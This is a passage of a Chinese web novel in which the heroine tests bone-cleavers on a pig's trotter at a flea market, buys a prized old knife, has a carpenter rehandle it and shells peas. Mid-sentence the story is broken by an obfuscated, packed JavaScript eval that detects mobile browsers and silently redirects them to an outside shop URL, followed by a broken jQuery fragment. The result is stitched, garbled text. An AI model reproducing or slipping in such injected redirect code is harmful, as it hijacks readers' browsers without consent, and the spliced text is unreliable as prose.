旧货市场的人来来往往，真正的好东西除非价格飘到天上，不然根本不存在卖不出去的问题，到收摊商品还在手上的，要么被人瞧不上眼，要么价钱高到承受不住，与其在一堆卖不出去的烂果子里面挑个相对不烂的，姜衡星宁可多花些钱去买新的。
但现在情况不一样，姜衡星收摊早，旧货市场还在成交的高峰期，细心挑挑还是有好东西的，而且砍骨刀这东西都得试了才知道好不好用，新砍刀人家心疼，不大可能给姜衡星试用，二手的就不一样了。
姜衡星看了眼在车把上晃悠悠的猪蹄，心情颇好的哼起了歌：她在挑菜刀上没什么经验，但没关系，食材都带过来了，到时候是好事歹一刀便知，能一刀断蹄者，乃姜家长女需要之物，以钱易之，为出摊必备之件。
在心里玩了会儿抽象，旧货市场也到了，还是浩浩汤汤的自行车，还是打瞌睡的老大爷，还是遥远的跟夕阳下奔跑的青春一样的车距，姜衡星丁点儿没犹豫的把车推进了旧货市场的大门，熟练的开始带车购物。
她心里已经有了想买的东西，所以目标明确的往卖锅碗瓢盆的方向走：厨房用具都是一套，卖刀的基本都在这一片。
“这个给我试试。”
姜衡星不听卖刀的吹嘘，从第一个摊位开始，把成色还行的砍骨刀都拿出来，砧板放到地上，猪蹄放上去，用砍骨刀挨个试。
她也没把标准藏着掖着：一刀下去能砍断一半骨头的，进入待选的保留区域，要是能全部斩断，直接付钱；连一半都砍不断，甚至一刀下去刀断了的，她不给赔偿。
有人说猪蹄骨头大，两下砍断才正常，姜衡星也不跟他们争辩，这刀买回去是她自己用，除了剁鸡鸭还要砍排骨，要是现在不挑个利落的，回头劳累的是姜衡星自己。
第一个摊位试完，表现最好的砍骨刀一下剁进去猪蹄的七成，姜衡星把这把刀的特征记在本子上，付了一点儿定金，拎着猪蹄砧板砍骨刀，推着自行车去下一个摊位。
以前姜衡星听过一个故事，说有人让她的孩子穿过一片麦田，摘下她们满意的一颗麦穗，但是只有一次摘取的机会，不能回头也不能后悔，第一个孩子在开头就摘了，看到更大的以后后悔了；第二个孩子总想着后面有最大的，到尽头才发现只有小的，也后悔了。
而就像三只小猪里面最聪明的是最小的那个一样，第三个孩子做出了非常正确的选择，如同所有的预言故事一样，给人讲述一个非常正确的大力。
但姜衡星想表达的不是这个，她只是结合了第一个和第二个的孩子的教训，怕自己后面遇上更好的砍骨刀，又怕碰不上比这更好的砍骨刀，所以在意识到自己有后悔的权利后，果断花了些钱把现在表现最好的刀锁单。
后面的摊子要是没有表现比它更好的，姜衡星会给这把刀付尾款，但要是有能剁的更深的，姜衡星会放弃已经付款的这些钱，选择表现更加亮眼的。
这个念头她也没瞒着摊主，摊主瞧着到手的现钱，和刚刚被姜衡星的斩骨表演吸引过来，有慧眼识珠问起能砍进一半猪骨的刀的价格的客人，笑眯眯的答应了。
姜衡星挨个试刀说着麻烦，其实也就只有拿刀剁放回几个步骤，她摊位上的砍骨刀不止一把，但全试完都没过一分钟，她常年在这边做生意，有几个长期卖砍骨刀的二道贩子她心里门清，只要讨价还价的时间长点儿，没准姜衡星所有的刀都试完了，她这边的人还没走呢。
要是这小姑娘没寻到更好的刀，她这刀就是原价出售，要是寻到了，按照摊子上这客人汇聚的架势，这样一把好刀还回来也不愁卖，真是什么结果她都不吃亏。
摊主爽快，姜衡星也不耽搁，带着东西就去下一个摊位试刀，许多摊主瞧着第一个摊位人声鼎沸的样子，都爽快的让姜衡星在猪蹄上试，但也有少数死活不肯，姜衡星也不勉强，只提着越发没个样子的猪蹄继续向下个摊位走。
拥有姜某的唯一参与者的试刀大会即将结束，表现的最好的依旧是那把七成砍骨刀，姜衡星本以为它就是自己的命定之刃，结果在还差一个摊子就全部试完的时候，新的天骄横空出世！
这把刀的刀柄已经坏的不像样子，被草绳细细缠上一圈后裹了一层软布，只能说可以勉强握住，跟其他刀光滑的木柄没法相比，但姜衡星把这把刀拿在手上的时候，却觉得莫名的契合。
随意的一刀下去，猪骨发出闷闷的一声，直接从中间断裂，姜衡星惊呆了，本来只是把这把刀拿出来凑数的摊主也惊呆了：奶奶这刀居然真的是个厉害的，早知道就换个刀柄了！
事情已经发生，再怎么事后诸葛亮也没用了，摊主努力丢掉自己错过宝贝的失落心情，跟姜衡星奋力讨价还价，想要多赚一点儿，但也没敢把价钱往天上喊：刀还在姜衡星手里握着呢，都说身怀利器杀心自起，猪骨都断的那么干脆，砍她肯定也不费什么力气。
况且奶奶临走时候的愿望就是给这把刀找个好主人，家里除了奶奶都是常年吃食堂的，这刀一年到头都用不上几次，不然也不会带到旧货市场给它找新缘分，现在这姑娘一瞧就是常年做饭的，刀跟了她也不算明珠蒙尘。
两边都没有往死里斗价的意思，砍骨刀最后以正常的全新菜刀的价格成交，姜衡星把剁入七成猪蹄的那把还给了第一个摊主，摊主刚接过去，就被盯着捡漏的客人问起了价格，刀还没在手上捂热乎，转眼便易了主。
姜衡星并不关心刀还回去的后续事情，旧货市场熙熙攘攘，本来要挤出去的姜衡星不知怎么被人流带到了墙边，好在离门口已经很近，稍稍走几步就是海阔天空，她习
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946098|210308||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
惯性的打量了一下四周，看见地上缺耳朵的砂锅后心里一动。
半盏茶后。
姜衡星车后座捆着砂锅，车把手两边带着虽然早就不像样子，但收拾收拾还能吃的猪蹄，垫底的砧板和买回来的天选之刀直奔安木匠家，准备给刀换个手柄。
“明天来拿。”
安木匠把手柄外面的布和草绳拆掉，打量了一会儿说道：刀柄做起来没什么难度，但她手上刚接了个活儿，她是个有信誉的木匠，一向讲究按时交货。
“我加钱，先给我整好行不？”
姜衡星诚恳的问道，安木匠被加钱居士的诚心打动，毫不犹豫的点头：她是个有信誉的木匠，所以她会在做完姜衡星的订单后熬夜干活，把原本订单的进度补齐。
就是这姑娘的口音怎么回事，她记得上回来的时候还不这样啊，虽然也能听懂吧，但就是奇奇怪怪的……
姜衡星不知道安木匠对她口音的疑惑，因为她压根没发现自己带了口音：她大学同学来自天南海北，虽然普通话已经推广开来，但时不时也会蹦出些乡音，彼此相互影响也在无意识中学习，口音便不自觉的成了大杂烩，什么时候蹦出来什么话都不一定。
打刀把需要一些时间，姜衡星不想干坐着等，索性要了个小板凳坐下，又厚着脸皮借了安木匠家的一只碗，把簸箕挪过来剥豆子。
这些豌豆荚是她在路边看到的，卖货的老太太说这是她女儿在大棚里种出来的，绿色的豌豆荚饱满多汁，里面的豌豆嫩生生的，姜衡星一眼就看上了，哪怕价格贵的人心里发抖，掏钱的手也没有犹豫。
买下这些豆荚的时候，姜衡星就已经想好了它们的处理方式，豌豆自然不必说，待会儿买些河虾处理了，做一道青豆炒虾仁，以前姜衡星被室友带着吃过一家味道极好的，但那个老板吝啬的很，半斤多的豌豆只肯配七八个虾仁，还都是拉直了都不足链两截小指长的迷你款。
她能理解虾仁要足够小，炒出来才能足够嫩，跟豌豆也更适配些，但数量就不能多给点儿吗，刚嚼的起劲就只剩素菜了，这是觉得客人的维生素摄入不足吗？
姜衡星决定回头多买点儿小河虾，给自己炒着吃个过瘾，宁可用不完不能吃不够，她也不怕会吃厌烦，虾这东西只要不死肉不散，随便折腾一下都好吃。
这些豌豆这么贵，豆荚也不能浪费掉，姜衡星在外面很少看到有人吃豌豆皮，但在家里除非买回来的豌豆荚都是没水分的黄色，不然吃炒青豆或者喝豌豆排骨汤的时候，桌上必然有一盘豌豆壳。
剥豌豆在姜衡星家里属于休闲活动，所以母亲通常会选择一个空闲的下午，正对着母亲的墙上的电视机放着她想看的电视剧，桌上装豆子的碗和装豆荚的盆一字排开，豌豆荚放在最右边，下面放了垃圾桶。